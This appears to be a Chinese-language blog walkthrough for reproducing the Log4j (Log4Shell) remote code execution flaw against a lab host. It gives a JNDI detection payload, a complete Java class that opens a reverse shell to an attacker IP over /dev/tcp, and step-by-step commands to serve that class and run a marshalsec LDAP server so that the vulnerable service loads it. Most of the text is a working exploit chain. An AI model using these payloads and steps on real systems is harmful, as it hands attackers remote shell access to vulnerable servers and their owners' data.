娱乐周六😭
Log4j漏洞复现
访问:10.0.2.6:8983
漏洞存在点在payload参数,payload格式为:${jndi:ldap://hohzad.dnslog.cn}
刷新下dnslog记录 发现已经记录上了IP
发现dnslog.cn记录,说明存在log4j2-rce漏洞。
在本地或者vps上创建一个名为Exp.java的文件,内容如下:
public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash","-c","bash -i >& /dev/tcp/10.0.2.15/8001 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
在当前目录下执行javac Exp.java
后,会编译生成一个Exp.class文件
使用python3 –m http.server
命令,在当前目录起一个http服务。默认端口为8000。浏览器访问http://vps-ip:8000,出现如下,即表示启动成功:
需要marshalsec调用恶意java类,marshalsec工具的下载可,需要自己编译一下
这里需要搭建RMI服务,首先下载marshalsec
git clone https://github.com/mbechler/marshalsec.git
安装maven并编译marshalsec生成jar
apt-get install maven
mvn clean package-DskipTests
将marshalsec-0.3.0.3-SNAPSHOT-all.jar工具复制到上述文件的同一目录
执行命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vps-ip:8000/#Exp" 9595监听
替换payload: ${jndi:ldap://vps-ip:9595/Exp}
发送数据包,触发漏洞,反弹shell: